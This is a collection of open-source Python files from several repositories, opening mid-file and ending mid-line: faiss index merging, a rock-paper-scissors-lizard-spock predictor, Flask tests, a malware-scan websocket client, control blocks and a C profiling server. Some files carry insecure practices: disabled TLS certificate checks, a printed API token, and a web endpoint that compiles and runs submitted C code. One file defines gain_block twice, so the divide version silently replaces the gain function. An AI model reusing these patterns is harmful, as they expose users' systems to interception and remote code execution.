{sorted_k_dists}\")\nprint(f\"{K} nearest ids: {sorted_k_ids}\")\n\n\n############################################\n# Use case 3: on disk merging of N indices #\n############################################\n\n\n# using faiss.merge_ondisk (https://github.com/facebookresearch/faiss/blob/30abcd6a865afef7cf86df7e8b839a41b5161505/contrib/ondisk.py )\n# https://github.com/facebookresearch/faiss/blob/151e3d7be54aec844b6328dc3e7dd0b83fcfa5bc/demos/demo_ondisk_ivf.py\n# to merge indices on disk without using memory\n# this is useful in particular to use a very large index with almost no memory usage.\n\nfrom faiss.contrib.ondisk import merge_ondisk\nimport faiss\n\nblock_fnames = index_paths\nempty_index = faiss.read_index(block_fnames[0], faiss.IO_FLAG_MMAP)\nempty_index.ntotal = 0\n\nmerge_ondisk(empty_index, block_fnames, \"merged_index.ivfdata\")\n\nfaiss.write_index(empty_index, \"populated.index\")\n\npop = faiss.read_index(\"populated.index\", faiss.IO_FLAG_ONDISK_SAME_DIR)\n\n########################################################\n# Use case 4: use N indices using HStackInvertedLists #\n########################################################\n\n# This allows using N indices as a single combined index\n# without changing anything on disk or loading anything to memory\n# it works well but it's slower than first using merge_ondisk\n# because it requires explore N pieces of inverted list for each\n# list to explore\nimport os\n\n\nclass CombinedIndex:\n \"\"\"\n combines a set of inverted lists into a hstack\n adds these inverted lists to an empty index that contains\n the info on how to perform searches\n \"\"\"\n\n def __init__(self, invlist_fnames):\n ilv = faiss.InvertedListsPtrVector()\n\n for fname in invlist_fnames:\n if os.path.exists(fname):\n index = faiss.read_index(fname, faiss.IO_FLAG_MMAP)\n index_ivf = faiss.extract_index_ivf(index)\n il = index_ivf.invlists\n index_ivf.own_invlists = False\n else:\n raise FileNotFoundError\n ilv.push_back(il)\n\n self.big_il = faiss.HStackInvertedLists(ilv.size(), ilv.data())\n ntotal = self.big_il.compute_ntotal()\n\n self.index = faiss.read_index(invlist_fnames[0], faiss.IO_FLAG_MMAP)\n\n index_ivf = faiss.extract_index_ivf(self.index)\n index_ivf.replace_invlists(self.big_il, True)\n index_ivf.ntotal = self.index.ntotal = ntotal\n\n def search(self, x, k):\n D, I = self.index.search(x, k)\n return D, I\n\n\nindex = CombinedIndex(index_paths)\nindex.search(queries, K)\n", "source": "Rexiome/autofaiss", "license": "Apache-2.0"}
+{"text": "import logging\r\nimport random\r\nimport os\r\nimport json\r\nfrom typing import Tuple, List\r\n\r\nimport requests\r\n\r\ndef predict(player_name: str) -> str:\r\n next_move = _predict_next_move(*_get_player_games(player_name))\r\n return _convert_game_to_json(next_move)\r\n\r\n\r\nR_rock, P_paper, S_scissors, V_spock, L_lizard = ('R', 'P', 'S', 'V', 'L')\r\nINTERNAL_MOVES_ENCODING = [R_rock, P_paper, S_scissors, V_spock, L_lizard]\r\n\r\n\r\ndef _get_player_games(player_name: str) -> Tuple[str, str]:\r\n game_manager_uri = os.getenv(\"GAME_MANAGER_URI\", None)\r\n url = f'{game_manager_uri}/game-manager/api/games?player={player_name}'\r\n\r\n logging.info(f'requesting human moves: {url}')\r\n req = requests.get(url)\r\n data = req.json()\r\n return _convert_games_to_str(data[\"challengerGames\"]), _convert_games_to_str(data[\"humanGames\"])\r\n\r\n\r\ndef _convert_games_to_str(games) -> str:\r\n SOURCE_MOVES_ENCODING = [R_rock, P_paper, S_scissors, L_lizard, V_spock]\r\n return \"\".join([SOURCE_MOVES_ENCODING[game] for game in games])\r\n\r\n\r\ndef _convert_game_to_json(game: str) -> str:\r\n JSON_MOVES_ENCODING = {R_rock: \"rock\", P_paper: \"paper\",\r\n S_scissors: \"scissors\", L_lizard: \"lizard\", V_spock: \"spock\"}\r\n return json.dumps({\"prediction\": JSON_MOVES_ENCODING[game]})\r\n\r\n\r\ndef _zip_moves(challenger_moves: List[str], human_moves: List[str]) -> List[Tuple[str, str]]:\r\n move_encoding_dict = {value: index for index, value in enumerate(INTERNAL_MOVES_ENCODING)}\r\n history = [(move_encoding_dict[i], move_encoding_dict[j])\r\n for i, j in zip(challenger_moves, human_moves)]\r\n return history\r\n\r\n\r\ndef _predict_next_move(challenger_moves: str, human_moves: str) -> str:\r\n history = _zip_moves(challenger_moves, human_moves)\r\n\r\n # what would have been predicted in the last rounds?\r\n pred_hist = [_best_next_moves_for_game(\r\n history[:i]) for i in range(2, len(history)+1)]\r\n\r\n # if no history prediction, then returns random\r\n if not pred_hist:\r\n return random.choice(INTERNAL_MOVES_ENCODING)\r\n\r\n # how would the different predictions have scored?\r\n # we have the pred_hist from moves i=2 to len(history) so we can check\r\n # check https://i.stack.imgur.com/jILea.png for game rules\r\n n_pred = len(pred_hist[0])\r\n scores = [[0]*5 for i in range(n_pred)]\r\n for pred, real in zip(pred_hist[:-1], history[2:]):\r\n for i in range(n_pred):\r\n # %5: When an int is negative it returns the count to the move\r\n # to beat another, in (reverse order) counterclockwise\r\n # i.e -1%5=4, -2%5=3\r\n scores[i][(real[1]-pred[i]+1) % 5] += 1\r\n scores[i][(real[1]-pred[i]+3) % 5] += 1\r\n # 1 & 3 move to the other \"moves\" that beat another\r\n # for example Rock is beaten with Paper and Spock,\r\n # which are 1 & 3 positions away\r\n scores[i][(real[1]-pred[i]+2) % 5] -= 1\r\n scores[i][(real[1]-pred[i]+4) % 5] -= 1\r\n\r\n # depending in predicted strategies, select best one with less risks\r\n # return best counter move\r\n best_scores = [list(max(enumerate(s), key=lambda x: x[1])) for s in scores]\r\n best_scores[-1][1] *= 1.001 # bias towards the simplest strategy\r\n if best_scores[-1][1] < 0.4*len(history):\r\n best_scores[-1][1] *= 1.4\r\n strat, (shift, _) = max(enumerate(best_scores), key=lambda x: x[1][1])\r\n\r\n return INTERNAL_MOVES_ENCODING[(pred_hist[-1][strat]+shift) % 5]\r\n\r\n\r\ndef _best_next_moves_for_game(hist: List[str]) -> List[List[str]]:\r\n\r\n N = len(hist)\r\n # find longest match of the preceding moves in the earlier history\r\n cand_m = cand_o = cand_b = range(N-1)\r\n\r\n for l in range(1, min(N, 20)):\r\n ref = hist[N-l]\r\n\r\n # l = 1\r\n # Looks for previous occurrences of the last move in my_moves, since hist[N-l] == hist[-1]\r\n # l = 2\r\n # it checks which of the possible candidates was preceded by the move previous to the last\r\n # and so on... i.e loos for longest chain matching last moves to use the next move\r\n cand_m_tmp = []\r\n for c in cand_m:\r\n if c >= l and hist[c-l+1][0] == ref[0]:\r\n cand_m_tmp.append(c)\r\n if not cand_m_tmp:\r\n cand_m = cand_m[-1:]\r\n else:\r\n cand_m = cand_m_tmp[:]\r\n\r\n # same for op_moves\r\n cand_o_tmp = []\r\n for c in cand_o:\r\n if c >= l and hist[c-l+1][1] == ref[1]:\r\n cand_o_tmp.append(c)\r\n if not cand_o_tmp:\r\n cand_o = cand_o[-1:]\r\n else:\r\n cand_o = cand_o_tmp[:]\r\n\r\n # same for both_moves i.e directly the zipped tuples\r\n cand_b_tmp = []\r\n for c in cand_b:\r\n if c >= l and hist[c-l+1] == ref:\r\n cand_b_tmp.append(c)\r\n if not cand_b_tmp:\r\n cand_b = cand_b[-1:]\r\n else:\r\n cand_b = cand_b_tmp[:]\r\n\r\n # analyze which moves were used how often, i.e a np.bincount\r\n freq_m, freq_o = [0]*5, [0]*5\r\n for m in hist:\r\n freq_m[m[0]] += 1\r\n freq_o[m[1]] += 1\r\n\r\n # return predictions (or possible \"good\" strategies)\r\n last_2_moves = [j for i in hist[:-3:-1] for j in i]\r\n return (last_2_moves + # repeat last moves\r\n [hist[cand_m[-1]+1][0], # history matching of my own moves\r\n # history matching of opponent's moves\r\n hist[cand_o[-1]+1][1],\r\n hist[cand_b[-1]+1][0], # history matching of both\r\n hist[cand_b[-1]+1][1],\r\n freq_m.index(max(freq_m)), # my most frequent move\r\n freq_o.index(max(freq_o)), # opponent's most frequent move\r\n 0])\r\n", "source": "ivan-b-ivanov/RockPaperScissorsLizardSpock", "license": "MIT"}
+{"text": "\nfrom flask import request\nimport pytest\nimport json\nfrom app import create_app, create_rest_api\nfrom db import get_db\n\n@pytest.fixture\ndef client():\n local_app = create_app()\n create_rest_api(local_app)\n client = local_app.test_client()\n\n yield client\n\n\ndef test_get_aquarium_invalid_id(client):\n\n with create_app().app_context():\n light_data = get_db().execute(\n 'SELECT id, timestamp, default_mode, total_food_quantity'\n ' FROM aquarium'\n ' ORDER BY id DESC'\n ).fetchone()\n invalid_id = light_data['id'] + 1\n request = client.get('/aquariumMode/' + str(invalid_id))\n\n assert request.status_code == 403\n\n\ndef test_set_aquarium_with_invalid_id(client):\n with create_app().app_context():\n light_data = get_db().execute(\n 'SELECT id'\n ' FROM aquarium'\n ' ORDER BY id DESC'\n ).fetchone()\n invalid_id = light_data['id'] + 1\n valid_type = 'crescatorie';\n request = client.put('/aquariumMode/' + str(invalid_id) + '?type=' + valid_type)\n\n assert request.status_code == 403\n\n\ndef test_set_aquarium_with_invalid_type(client):\n with create_app().app_context():\n light_data = get_db().execute(\n 'SELECT id'\n ' FROM aquarium'\n ' ORDER BY id DESC'\n ).fetchone()\n valid_id = light_data['id']\n invalid_type = 'notCrescatorie'\n request = client.put('/aquariumMode/' + str(valid_id) + '?type=' + invalid_type)\n\n assert request.status_code == 403\n\n\ndef test_set_aquarium_with_valid_type(client):\n local_app = create_app()\n with local_app.app_context():\n light_data = get_db().execute(\n 'SELECT id'\n ' FROM aquarium'\n ' ORDER BY id DESC'\n ).fetchone()\n\n valid_id = light_data['id']\n valid_type = 'crescatorie'\n request = client.put('/aquariumMode/' + str(1) + '?type=' + valid_type)\n\n res = json.loads(request.data.decode())\n assert request.status_code == 200\n", "source": "UnibucProjects/SmartAquarium", "license": "MIT"}
+{"text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\nimport sys\r\nimport json\r\nimport ssl\r\nimport click\r\nfrom json.decoder import JSONDecodeError\r\nfrom websocket import WebSocketException\r\nfrom websocket import WebSocketConnectionClosedException\r\nfrom websocket import create_connection\r\nfrom datetime import datetime as dtime\r\nfrom .app import create_app\r\n\r\nflask_app = create_app()\r\n\r\n\r\ndef websocket_scan_thread(ws):\r\n from mods.api.tasks import eval_result\r\n while True:\r\n msg = \"\"\r\n try:\r\n msg = ws.recv()\r\n # print(dtime.now(), \"[RESPONSE]\", type(msg))\r\n msg = json.loads(msg)\r\n # print(dtime.now(), \"[PARSED]\", msg)\r\n eval_result.apply_async(args=(msg,))\r\n print(\r\n dtime.now(),\r\n \"[!] [{server_time}] Result for file with SHA1 Hash: {sha1} | cas id: {id}\"\r\n .format(**msg))\r\n except (KeyError, JSONDecodeError, WebSocketException, OSError,\r\n WebSocketConnectionClosedException) as e:\r\n print(dtime.now(), \"[ERROR]: %s\" % (e))\r\n sys.exit(1)\r\n pass\r\n\r\n\r\n@click.command(\r\n context_settings=dict(ignore_unknown_options=True, help_option_names=[]))\r\ndef run_wsclient():\r\n \"\"\"Websocket listener for evaluation results\"\"\"\r\n CAS_API = flask_app.config['CAS_API']\r\n secure_prefix = \"s\"\r\n token = CAS_API['token']\r\n print(f\"Loading token from app.config... {token}\")\r\n host = CAS_API['host']\r\n print(f\"Loading host from app.config... {host}\")\r\n headers = {'X-API-TOKEN': token}\r\n # Subscribe to the websocket publisher.\r\n url = \"ws%s://%s/rapi/ws/cas_task\" % (secure_prefix, host)\r\n try:\r\n ws = create_connection(\r\n url, sslopt={\"cert_reqs\": ssl.CERT_NONE}, header=headers)\r\n except (OSError,) as e:\r\n print(dtime.now(), \"[ERROR]: %s\" % (e))\r\n sys.exit(2)\r\n pass\r\n thread = websocket_scan_thread(ws)\r\n thread.start()\r\n", "source": "lbahtarliev/MalwareScan", "license": "Unlicense"}
+{"text": "from train import train_model\nfrom utils import *\nimport os\nimport sys\n\npwd = os.environ.get('CLIP_DIR')\nDATA_DIR = \"%s/data/processed/\" % pwd\nexp_name = \"non_multilabel\"\n\nrun_name = \"sentence_structurel_with_crf\"\ntrain_file_name = \"MIMIC_train_binary.csv\"\ndev_file_name = \"MIMIC_val_binary.csv\"\ntest_file_name = \"test_binary.csv\"\nexp_name = \"outputs_binary\"\ntrain = read_sentence_structure(os.path.join(DATA_DIR, train_file_name))\ndev = read_sentence_structure(os.path.join(DATA_DIR, dev_file_name))\ntest = read_sentence_structure(os.path.join(DATA_DIR, test_file_name))\nrun_name = \"binary\"\n\n\ndef main(args):\n train_model(\n train,\n dev,\n test,\n args[0],\n exp_name,\n use_crf=True,\n learning_rate=float(args[1]),\n epochs=int(args[2]),\n writer_preds_freq=10,\n embeddings_type=\"BioWord\",\n list_of_possible_tags=[\"followup\"],\n embeddings_path=\"%s/CLIP/experiments/tagger/embeddings\" % pwd,\n )\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n", "source": "ASAPP-H/clip2", "license": "MIT"}
+{"text": "import subprocess, os\r\n\r\n# constants with global scope\r\nINPUT = \"--input\"\r\nOUTPUT = \"--output\"\r\nFILTERS = \"--filters\"\r\nSUPPPLEMENTS = \"--supplements\"\r\nJAR_DIRECTORY = \"target\"\r\nJAR_NAME = \"report-engine.jar\"\r\n\r\ndef build_jar():\r\n should_package = input(\"\\nBuild \" + JAR_NAME + \" file from src (Y/N) ? \")\r\n # check if jar is to be built \r\n if len(should_package) != 0 and (should_package[0] == 'Y' or should_package[0] == 'y'): \r\n # define build commands for maven \r\n mvn_cmd = ['mvn', 'clean', 'package']\r\n print(\"\\nBuilding \" + JAR_NAME + \" from src using command:\\n\" + ' '.join(mvn_cmd) + '\\n')\r\n # build jar using maven through an external process spawned from python\r\n mvn_process = subprocess.Popen(mvn_cmd, shell=True)\r\n mvn_process.wait()\r\n return mvn_process.returncode\r\n else:\r\n return None\r\n \r\ndef execute_jar(app_cmd_args):\r\n should_run = input(\"\\nRun \" + JAR_NAME + \" file from target (Y/N) ? \")\r\n # check if jar is to be run \r\n if len(should_run) != 0 and (should_run[0] == 'Y' or should_run[0] == 'y'): \r\n # form jar file path based on underlying os\r\n jar_location = os.path.join(JAR_DIRECTORY,JAR_NAME)\r\n # define commands for executing .jar file using java\r\n jar_cmd = ['java', '-jar', jar_location]\r\n # parse arguments\r\n for key,value in app_cmd_args.items():\r\n jar_cmd.append(key + '=' + value)\r\n print(\"\\nExecuting \" + JAR_NAME + \" using command: \\n\" + ' '.join(jar_cmd) + '\\n')\r\n # execute jar using java through an external process spawned from python\r\n jar_process = subprocess.Popen(jar_cmd, shell=True)\r\n jar_process.wait()\r\n return jar_process.returncode;\r\n else:\r\n return None\r\n \r\ndef main():\r\n # input from user through stdin\r\n input_path = input(\"Enter the directory path containing profiles to be parsed (--input): \")\r\n output_path = input(\"Enter the directory path where reports will be dumped (--output): \")\r\n filters = input(\"Profile properties for which filtered reports will be generated (--filters optional): \")\r\n supplements = input(\"Profile properties for which supplementary reports will be generated (--supplements optional): \")\r\n \r\n # format arguments\r\n app_cmd_args = dict([(INPUT,input_path)])\r\n \r\n # validate optional arguments\r\n if len(filters) != 0:\r\n app_cmd_args[FILTERS] = filters\r\n if len(output_path) != 0:\r\n app_cmd_args[OUTPUT] = output_path\r\n if len(supplements) != 0:\r\n app_cmd_args[SUPPPLEMENTS] = supplements\r\n \r\n # validate arguments\r\n if len(app_cmd_args.get(INPUT)) == 0:\r\n print(\"\\n\" + INPUT + \" option is mandatory! Please re-run the cli_wrapper.py script\\n\")\r\n else :\r\n # argument validated successfully\r\n mvn_exit_code = build_jar()\r\n # execute .jar file only if maven build is successful\r\n print(\"\\nMaven exit code: \" + str(mvn_exit_code)) \r\n if mvn_exit_code == 0 or mvn_exit_code == None:\r\n jar_exit_code = execute_jar(app_cmd_args)\r\n print(\"\\nJava exit code: \" + str(jar_exit_code))\r\n print('\\nReport engine terminated!')\r\n\r\nif __name__ == '__main__':\r\n main()", "source": "anirbandas18/report-engine", "license": "MIT"}
+{"text": "from . import _tsp_c\nfrom .tsp_c import solve_greedy\nfrom .tsp_c import solve_SA\nfrom .tsp_c import set_param_SA\nfrom .tsp_c import solve_PSO", "source": "kjudom/tsp-c", "license": "MIT"}
+{"text": "#!python3\n#\n# Copyright (C) 2014-2015 Julius Susanto. All rights reserved.\n# Use of this source code is governed by a BSD-style\n# license that can be found in the LICENSE file.\n\n\"\"\"\nPYPOWER-Dynamics\nFunctions for standard blocks (solves a step)\n\n\"\"\"\n\nimport numpy as np\n\n# Gain block\n# yo = p * yi\n# p is a scalar gain coefficient\n\n\ndef gain_block(yi, p):\n yo = p * yi\n\n return yo\n\n# Divide block\n# yo = yi / p\n# p is a scalar gain coefficient\n\n\ndef gain_block(yi, p):\n if p != 0:\n yo = yi / p\n else:\n print('Error: division by zero, ignoring dividion operation')\n yo = yi\n return yo\n\n\n# Integrator block\n# K / sT\n# p = [K, T]\ndef int_block(h, x0, yi, p):\n f = yi * p[0] / p[1]\n x1 = x0 + h * f\n yo = x1\n\n return yo, x1, f\n\n# Lag block\n# K / (1 + sT)\n# p = [K, T]\n\n\ndef lag_block(h, x0, yi, p):\n f = (yi - x0) / p[1]\n x1 = x0 + h * f\n yo = p[0] * x1\n\n return yo, x1, f\n\n# Lead-Lag block\n# (1 + sTa) / (1 + sTb)\n# p = [Ta, Tb]\n\n\ndef leadlag_block(h, x0, yi, p):\n f = (yi - x0) / p[1]\n x1 = x0 + h * f\n yo = x1 + p[0] * (yi - x0) / p[1]\n\n return yo, x1, f\n\n# Limiter block\n# yo = min_lim, if yi < min_lim\n# yo = max_lim, if yi > max_lim\n# yo = yi, min_lim <= yi <= max_lim\n# p = [min_lim, max_lim]\n\n\ndef lim_block(yi, p):\n min_lim = p[0]\n max_lim = p[1]\n if yi < min_lim:\n yo = min_lim\n elif yi > max_lim:\n yo = max_lim\n else:\n yo = yi\n\n return yo\n\n# Multiplication block\n# yo = yi1 * yi2 * ... * yin\n# yi = [yi1, yi2, ... yin]\n\n\ndef mult_block(yi):\n yo = np.prod(yi)\n\n return yo\n\n# Summation block\n# yo = yi1 + yi2 + ... + yin\n# yi = [yi1, yi2, ... yin]\n\n\ndef sum_block(yi):\n yo = sum(yi)\n\n return yo\n\n# Washout block\n# (s / (1 + sT)\n# p is the time constant T\n\n\ndef wout_block(h, x0, yi, p):\n f = (yi - x0) / p\n x1 = x0 + h * f\n yo = (yi - x1) / p\n\n return yo, x1, f\n", "source": "chhokrad/PYPOWER-Dynamics", "license": "BSD-3-Clause"}
+{"text": "cities = [\n 'Budapest',\n 'Debrecen',\n 'Miskolc',\n 'Szeged',\n 'Pecs',\n 'Zuglo',\n 'Gyor',\n 'Nyiregyhaza',\n 'Kecskemet',\n 'Szekesfehervar',\n 'Szombathely',\n 'Jozsefvaros',\n 'Paradsasvar',\n 'Szolnok',\n 'Tatabanya',\n 'Kaposvar',\n 'Bekescsaba',\n 'Erd',\n 'Veszprem',\n 'Erzsebetvaros',\n 'Zalaegerszeg',\n 'Kispest',\n 'Sopron',\n 'Eger',\n 'Nagykanizsa',\n 'Dunaujvaros',\n 'Hodmezovasarhely',\n 'Salgotarjan',\n 'Cegled',\n 'Ozd',\n 'Baja',\n 'Vac',\n 'Szekszard',\n 'Papa',\n 'Gyongyos',\n 'Kazincbarcika',\n 'Godollo',\n 'Gyula',\n 'Hajduboszormeny',\n 'Kiskunfelegyhaza',\n 'Ajka',\n 'Oroshaza',\n 'Mosonmagyarovar',\n 'Dunakeszi',\n 'Kiskunhalas',\n 'Esztergom',\n 'Jaszbereny',\n 'Komlo',\n 'Nagykoros',\n 'Mako',\n 'Budaors',\n 'Szigetszentmiklos',\n 'Tata',\n 'Szentendre',\n 'Hajduszoboszlo',\n 'Siofok',\n 'Torokszentmiklos',\n 'Hatvan',\n 'Karcag',\n 'Gyal',\n 'Monor',\n 'Keszthely',\n 'Varpalota',\n 'Bekes',\n 'Dombovar',\n 'Paks',\n 'Oroszlany',\n 'Komarom',\n 'Vecses',\n 'Mezotur',\n 'Mateszalka',\n 'Mohacs',\n 'Csongrad',\n 'Kalocsa',\n 'Kisvarda',\n 'Szarvas',\n 'Satoraljaujhely',\n 'Hajdunanas',\n 'Balmazujvaros',\n 'Mezokovesd',\n 'Tapolca',\n 'Szazhalombatta',\n 'Balassagyarmat',\n 'Tiszaujvaros',\n 'Dunaharaszti',\n 'Fot',\n 'Dabas',\n 'Abony',\n 'Berettyoujfalu',\n 'Puspokladany',\n 'God',\n 'Sarvar',\n 'Gyomaendrod',\n 'Kiskoros',\n 'Pomaz',\n 'Mor',\n 'Sarospatak',\n 'Batonyterenye',\n 'Bonyhad',\n 'Gyomro',\n 'Tiszavasvari',\n 'Ujfeherto',\n 'Nyirbator',\n 'Sarbogard',\n 'Nagykata',\n 'Budakeszi',\n 'Pecel',\n 'Pilisvorosvar',\n 'Sajoszentpeter',\n 'Szigethalom',\n 'Balatonfured',\n 'Hajduhadhaz',\n 'Kisujszallas',\n 'Dorog',\n 'Kormend',\n 'Marcali',\n 'Barcs',\n 'Tolna',\n 'Tiszafured',\n 'Kiskunmajsa',\n 'Tiszafoldvar',\n 'Albertirsa',\n 'Nagyatad',\n 'Tiszakecske',\n 'Toeroekbalint',\n 'Koszeg',\n 'Celldomolk',\n 'Heves',\n 'Mezobereny',\n 'Szigetvar',\n 'Pilis',\n 'Veresegyhaz',\n 'Bicske',\n 'Edeleny',\n 'Lajosmizse',\n 'Kistarcsa',\n 'Hajdusamson',\n 'Csorna',\n 'Nagykallo',\n 'Isaszeg',\n 'Sarkad',\n 'Kapuvar',\n 'Ullo',\n 'Siklos',\n 'Toekoel',\n 'Maglod',\n 'Paszto',\n 'Szerencs',\n 'Turkeve',\n 'Szeghalom',\n 'Kerepes',\n 'Jaszapati',\n 'Janoshalma',\n 'Tamasi',\n 'Kunszentmarton',\n 'Hajdudorog',\n 'Vasarosnameny',\n 'Solymar',\n 'Rackeve',\n 'Derecske',\n 'Kecel',\n 'Nadudvar',\n 'Ocsa',\n 'Dunafoldvar',\n 'Fehergyarmat',\n 'Kiskunlachaza',\n 'Kunszentmiklos',\n 'Szentgotthard',\n 'Devavanya',\n 'Biatorbagy',\n 'Kunhegyes',\n 'Lenti',\n 'Ercsi',\n 'Balatonalmadi',\n 'Polgar',\n 'Tura',\n 'Suelysap',\n 'Fuzesabony',\n 'Jaszarokszallas',\n 'Gardony',\n 'Tarnok',\n 'Nyiradony',\n 'Zalaszentgrot',\n 'Sandorfalva',\n 'Soltvadkert',\n 'Nyergesujfalu',\n 'Bacsalmas',\n 'Csomor',\n 'Putnok',\n 'Veszto',\n 'Kistelek',\n 'Zirc',\n 'Halasztelek',\n 'Mindszent',\n 'Acs',\n 'Enying',\n 'Letavertes',\n 'Nyirtelek',\n 'Szentlorinc',\n 'Felsozsolca',\n 'Solt',\n 'Fegyvernek',\n 'Nagyecsed',\n 'Encs',\n 'Ibrany',\n 'Mezokovacshaza',\n 'Ujszasz',\n 'Bataszek',\n 'Balkany',\n 'Sumeg',\n 'Tapioszecso',\n 'Szabadszallas',\n 'Battonya',\n 'Polgardi',\n 'Mezocsat',\n 'Totkomlos',\n 'Piliscsaba',\n 'Szecseny',\n 'Fuzesgyarmat',\n 'Kaba',\n 'Pusztaszabolcs',\n 'Teglas',\n 'Mezohegyes',\n 'Jaszladany',\n 'Tapioszele',\n 'Aszod',\n 'Diosd',\n 'Taksony',\n 'Tiszalok',\n 'Izsak',\n 'Komadi',\n 'Lorinci',\n 'Alsozsolca',\n 'Kartal',\n 'Dunavarsany',\n 'Erdokertes',\n 'Janossomorja',\n 'Kerekegyhaza',\n 'Balatonboglar',\n 'Szikszo',\n 'Domsod',\n 'Nagyhalasz',\n 'Kisber',\n 'Kunmadaras',\n 'Berhida',\n 'Kondoros',\n 'Melykut',\n 'Jaszkiser',\n 'Csurgo',\n 'Csorvas',\n 'Nagyszenas',\n 'Ujkigyos',\n 'Tapioszentmarton',\n 'Tat',\n 'Egyek',\n 'Tiszaluc',\n 'Orbottyan',\n 'Rakoczifalva',\n 'Hosszupalyi',\n 'Paty',\n 'Elek',\n 'Vamospercs',\n 'Morahalom',\n 'Bugyi',\n 'Emod',\n 'Labatlan',\n 'Csakvar',\n 'Algyo',\n 'Kenderes',\n 'Csenger',\n 'Fonyod',\n 'Rakamaz',\n 'Martonvasar',\n 'Devecser',\n 'Orkeny',\n 'Tokaj',\n 'Tiszaalpar',\n 'Kemecse',\n 'Korosladany'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"}
+{"text": "import argparse\n\n\nclass ArchParser(argparse.ArgumentParser):\n def __init__(self, model_names, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.add_argument('-a', '--arch', metavar='ARCH', choices=model_names,\n help='model architecture: ' + ' | '.join(model_names))\n\n\nclass BasicParser(argparse.ArgumentParser):\n def __init__(self, description='PyTorch Segmentation Pretraining', **kwargs):\n super().__init__(description=description, **kwargs)\n self.add_argument('data_root', metavar='DIR', help='path to dataset')\n self.add_argument('--work-dir', default='./', metavar='DIR',\n help='path to work directory (default: ./)')\n self.add_argument('--workers', default=32, type=int, metavar='N',\n help='number of data loading workers (default: 32)')\n self.add_argument('--epochs', default=200, type=int, metavar='N',\n help='number of total epochs to run (default: 200)')\n self.add_argument('--start-epoch', default=0, type=int, metavar='N',\n help='manual epoch number (useful on restarts)')\n self.add_argument('--crop-size', default=512, type=int,\n help='augmentation crop size (default: 512)')\n self.add_argument('--batch-size', default=256, type=int, metavar='N',\n help='mini-batch size (default: 256), this is the total '\n 'batch size of all GPUs on the current node when '\n 'using Data Parallel or Distributed Data Parallel')\n self.add_argument('--base-lr', default=0.01, type=float, metavar='LR',\n help='initial learning rate', dest='base_lr')\n self.add_argument('--momentum', default=0.9, type=float, metavar='M',\n help='momentum of SGD solver')\n self.add_argument('--wd', '--weight-decay', default=1e-4, type=float, metavar='W',\n help='weight decay (default: 1e-4)', dest='weight_decay')\n self.add_argument('--print-freq', default=10, type=int, metavar='N',\n help='print frequency (default: 10 iters)')\n self.add_argument('--checkpoint-freq', default=10, type=int, metavar='N',\n help='checkpoint frequency (default: 10 epochs)')\n self.add_argument('--resume', default='', type=str, metavar='PATH',\n help='path to latest checkpoint (default: none)')\n self.add_argument('--pretrained', default='', type=str, metavar='PATH',\n help='path to init checkpoint (default: none)')\n self.add_argument('--world-size', default=-1, type=int,\n help='number of nodes for distributed training')\n self.add_argument('--rank', default=-1, type=int,\n help='node rank for distributed training')\n self.add_argument('--dist-url', default='tcp://localhost:29500', type=str,\n help='url used to set up distributed training')\n self.add_argument('--dist-backend', default='nccl',\n type=str, help='distributed backend')\n self.add_argument('--seed', default=None, type=int,\n help='seed for initializing training.')\n self.add_argument('--gpu', default=None,\n type=int, help='GPU id to use.')\n self.add_argument('--multiprocessing-distributed', action='store_true',\n help='Use multi-processing distributed training to launch '\n 'N processes per node, which has N GPUs. This is the '\n 'fastest way to use PyTorch for either single node or '\n 'multi node data parallel training')\n self.add_argument('--fp16', action='store_true',\n help='mixed percision training')\n self.add_argument('--update-interval', default=1,\n type=int, help='gradient update interval')\n", "source": "toytag/self-supervised-learning-for-semantic-segmentation", "license": "MIT"}
+{"text": "from flask import Flask, request\nimport os\nfrom subprocess import Popen, PIPE\nimport json\n\nfrom prof_file_util import load_source, load_line_profile, load_graph_profile\nfrom linewise_barchart import linewise_barchart\nfrom valgrind import extract_valgrind_result\nfrom mem_issue_visualize import mem_issue_visualize\n\napp = Flask(__name__)\n\n@app.route('/upload-file', methods = ['POST'])\ndef hello():\n '''\n shall return a json dict\n if succeeds, \n {\n 'error': 0,\n 'vega_json': ...\n 'node_json': ...\n 'edge_json': ...\n ...\n }\n if fails,\n {\n 'error': 1,\n 'source': formatted source code,\n 'error_message': the compile failure message\n }\n '''\n code = request.get_json()['code']\n # print(code)\n local_path = 'temp.c' # TODO: hash file names to handle concurrency issues\n with open(local_path, 'w') as f:\n f.write(code)\n\n process = Popen(['wc', '-l', local_path], stdout=PIPE)\n (output, err) = process.communicate()\n exit_code = process.wait()\n\n # print(output)\n # with open('test.json') as f:\n # s = json.load(f)\n\n ret_dict = {}\n\n '''\n Invoke compiler (if need) and profiler to generate the results.\n '''\n os.system('clang-format -i {}'.format(local_path))\n compile_retvalue = os.system('gcc -g -pg {} -o prog 1> gcc_output 2>&1'.format(local_path))\n # handle compiling error\n if compile_retvalue != 0:\n ret_dict['error'] = 1\n ret_dict['source'] = ''.join(list(open(local_path, 'r').readlines()))\n ret_dict['error_message'] = ''.join(list(open('gcc_output', 'r').readlines()))\n return ret_dict\n\n os.system('./prog')\n os.system('ctags --fields=+ne -o - --sort=no {} 1> ctags_output 2>&1'.format(local_path))\n os.system('gprof --graph prog gmon.out 1> graph_file 2>&1')\n os.system('gprof -l prog gmon.out 1> linewise_file 2>&1')\n\n '''\n Now we have the outputs. Visualize and pass it back to the frontend.\n '''\n # for debug purpose. Only linux can host grof so far.\n ret_dict['error'] = 0\n if os.path.isfile('linewise_file') and os.path.getsize('linewise_file') > 0\\\n and os.path.isfile('graph_file') and os.path.getsize('graph_file') > 0:\n df = load_line_profile(local_path, 'linewise_file')\n chart = linewise_barchart(df)\n # chart.save('new.json')\n '''\n TODO: Maybe the temporary files should be cleared or\n stored somewhere serving as history data.\n '''\n ret_dict['vega_json'] = json.loads(chart.to_json())\n graph_dct = load_graph_profile('graph_file')\n if graph_dct:\n for k, v in graph_dct.items():\n ret_dict[k] = v\n else:\n ret_dict['vega_json'] = json.load(open('test.json', 'r'))\n # print(uninitialised_buffer, invalid_write_buffer, mem_leak_dic)\n\n return ret_dict\n\n@app.route('/mem-profile', methods = ['POST'])\ndef mem_profile():\n '''\n shall return a json dict\n if succeeds, \n {\n 'error': 0,\n 'vega_json': ...\n ...\n }\n if fails,\n {\n 'error': 1,\n 'source': formatted source code,\n 'error_message': the compile failure message\n }\n '''\n code = request.get_json()['code']\n # print(code)\n local_path = 'temp.c' # TODO: hash file names to 